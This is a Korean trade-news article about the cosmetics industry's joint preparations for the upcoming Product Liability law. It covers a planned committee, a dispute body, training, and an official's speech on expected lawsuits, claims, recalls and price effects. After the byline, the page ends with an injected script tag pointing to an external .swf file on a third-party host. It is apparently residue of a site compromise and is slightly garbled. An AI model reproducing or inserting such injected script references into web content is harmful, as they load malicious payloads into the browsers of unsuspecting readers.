화장품업계가 7월 1일 시행예정인 제조물책임법(PL법)에 공동대응을 위한 각종 대비책을 마련중인 것으로 밝혀졌다. 화장품협회 안정림 전무에 따르면 5월중으로 제조물책임법 시행에 발맞춰 대응책 강구를 위한 "PL대책위원회"를 구성하고 6월중에는 "화장품 PL분쟁 해결기구"를 설립한다는 방침을 세워놓고 있다. 이와함께 4월과 5월중에 제조물책임법 현업담당자 대상의 실무교육을 1~2회에 걸쳐 시행한다는 방침을 확정해 놓고 있다. 한편 화장품협회(회장 유상옥)는 지난 19일 오전 7시 30분 조선호텔에서 ‘제조물책임법과 대응방안’을 주제로 식품의약품안전청 최수영 의약품안전국장을 초청해 조찬간담회를 개최한바 있다. 이날 유상옥 화장품협회 회장은 인사말을 통해 “제조물책임법이 처음 도입되는 만큼 시행착오를 최소화하고 화장품업계의 발전에 문제가 없도록 대처하기 위해 늦은감이 없지 않지만 조찬간담회를 개최하게 됐다”고 말하고 “화장품업계가 힘을 합쳐 어려움을 공동으로 극복하는 방안을 마련하는등 타 업계보다 단합된 모습으로 앞서나가자”고 역설했다. 최수영 국장은 이날 화장품협회가 마련한 조찬간담회에 참석해 ‘제조물책임법 도입과 화장품업계 대응방안’을 주제로 강연했다. 최수영 국장은 “소비자는 단순히 화장품이라는 상품을 사는 것이 아니라 아름다워지고자 하는 소망을 사는 것”이라고 전제한 뒤 “화장품업계가 제조물책임법에 효과적으로 대응하기 위해서는 화장품협회를 중심으로 PL관련 위원회 구성, PL분쟁조정가이드라인 마련, 업계 관계자에 대한 심포지엄, 교육시행등 공동 대응체계를 확립하는 것이 필요하다”고 강조했다. 최수영 국장은 이날 강연을 통해 예상되는 파급효과와 관련해서는 첫째, 소송의 증가를 들었다. 제조물책임제도를 시행중인 미국이나 유럽, 일본의 사례를 견주어 볼 때 소송남발에 의한 소송의 급격한 증가가 우려된다는 것이다. 그러나 미국을 제외하고는 소송이 크게 늘지 않았던 점을 감안해 볼 때 소송이 급격히 증가하지는 않을 것으로 예상되지만 이에대한 대비는 철저히 해나가야 한다고 주의를 환기시켰다. 둘째, 클레임 총 건수의 증가를 들었다. 제조물책임법 제정과 매스컴 등의 보도로 제품안전에 대한 소비자의 문제의식이 높아질 것이기 때문에 제품으로인한 사고 발생시 계약조건, 판매방법, 품질 사용방법, 애프터서비스 등에 관해서 클레임이 예상된다고 밝혔다. 셋째로는 리콜제도와의 관계이다. 리콜제도는 현실화되는 위해요인 뿐만아니라 잠재적 위해요인에 대한 사전 구제조치이므로 제조물책임법이 시행되면 기업들도 관심을 갖고 활성화될 것으로 예상된다. 넷째로는 소비자 보호강화다. 소비자 보호를 위한 소비자보호단체 활동이 가일층 활발해 질것으로 예상되고 있다. 다섯째로는 제품가격상승이다. 생산비용의 증가가 제품가격에 전가 됨으로써 가격이 상승하게 된다는 것이다. 기업의 배상부담의 증가, 홀긍 제조물 책임보험의 보헙요율 상승 등으로 제품가격이 상승되어 사회·경제적으로 파급이 우려된다는 것이다. 최수영 국장이 밝힌 PL법 관련 대응방안은 다음과 같다. CGMP 준수 강화 품질이 보장된 우수한 화장품을 제조·공급하기 위해서 우수화장품제조 및 품질관리 기준에 의한 관리기준, 공전관리, 위생관리, 품질관리 등에 대한 위험요인이 없는지 철저히 검토하여야 할 것이다. 또한 자가 안전기준을 설정하고 소비자에 대한 설명서 제공 및 경고부착등에 세심한 주의를 기울여야 한다. 결함제품에 대한 리콜강화" 결함제품이 시중에 유통되어 판매될 경우 소비자에게 위해를 기치게 될 뿐만아니라 기업에게도 추후 소비자로부터 손해배상청구가 들어왔을 경우 막대한 손실을 입는 상황에 처할 수도 있으므로 시중에 유통되는 자사제품에 중대한 결함이 있음을 알게 더　 경우에는 당해 기업은 신속하게 해당제품을 리콜해야 한다. 패해구제 시스템 강화 제조물책임 분쟁을 효율적으로 처리하기 위하여 전임 담당자를 배치하는등 상담창구를 정비하고 현실적인 손해배상과 기업활동의 계속을 위하여 제조물책임보험가입, 공증, 공탁 등 활용방안을 마련하여야 한다. 제조물책임법 적극 대응체계 확립 화장품업계의 적절한 대응책을 강구하여 제품의 안전성을 확보하여 소비자를 보호하는데 더욱 적극적인 노력이 필요하며 또한 효율적인 대응을 위해 화장품협회를 중심으로 PL관련 위원회 구성, PL 분쟁조정가이드라인 마련, 업계 관계자에 대한 심포지엄, 교육실시 등 공동 대응체계를 확립하는 것이 필요하다. - 정창교 ?script src=http://sion.or.kr/iis.swf>

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